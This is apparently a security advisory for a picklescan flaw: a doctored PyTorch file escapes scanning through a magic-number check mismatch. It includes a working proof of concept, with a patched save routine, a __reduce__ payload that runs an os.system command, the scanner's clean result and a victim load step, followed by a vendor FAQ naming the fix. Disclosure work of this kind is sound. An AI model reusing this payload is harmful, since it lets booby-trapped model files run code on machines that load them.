CVE-2026-53875

This is a scanning bypass to scan_pytorch function in picklescan. As we can see in the implementation of get_magic_number() that uses pickletools.genops(data) to get the magic_number with the condition opcode.name includes INT or LONG, but the PyTorch's implemtation simply uses pickle_module.load() to get this magic_number. For this implementation difference, we then can embed the magic_code into the PyTorch file via dynamic eval on the \_\_reduce\_\_ trick, which can make the pickletools.genops(data) cannot get the magic_code in INT or LONG type, but the pickle_module.load() can still return the same magic_code, eading to a bypass.

PoC

Attack Step 1

we can edit the source code of the function _legacy_save() as follows:

    class payload:
        def __reduce__(self):
            return (eval, ('MAGIC_NUMBER',))

    pickle_module.dump(payload(), f, protocol=pickle_protocol)

Attack Step 2

with the modified version of PyTorch, we run the following PoC to generate the payload.pt:

import torch 

class payload:
    def __reduce__(self):
        return (__import__('os').system, ('touch /tmp/hacked',))

torch.save(payload(), './payload.pt', _use_new_zipfile_serialization = False)

Picklescan result

ERROR: Invalid magic number for file /home/pzhou/bug-bunty/pytorch/PoC/payload.pt: None != 119547037146038801333356
----------- SCAN SUMMARY -----------
Scanned files: 0
Infected files: 0
Dangerous globals: 0

Victim Step

import torch
torch.load('./payload.pt', weights_only=False)

then you can find the illegal file /tmp/hacked created in your local system.

Craft malicious PyTorch payloads to bypass picklescan, then recall ACE/RCE.

Kodem intelligence

1. What is CVE-2026-53875? CVE-2026-53875 is a high-severity security vulnerability in picklescan (pip), affecting versions < 1.0.3. It is fixed in 1.0.3.
2. Which versions of picklescan are affected by CVE-2026-53875? picklescan (pip) versions < 1.0.3 is affected.
3. Is there a fix for CVE-2026-53875? Yes. CVE-2026-53875 is fixed in 1.0.3. Upgrade to this version or later.
4. Is CVE-2026-53875 exploitable, and should I be worried? Whether CVE-2026-53875 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
5. What actually determines whether CVE-2026-53875 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
6. How do I fix CVE-2026-53875? Upgrade picklescan to 1.0.3 or later.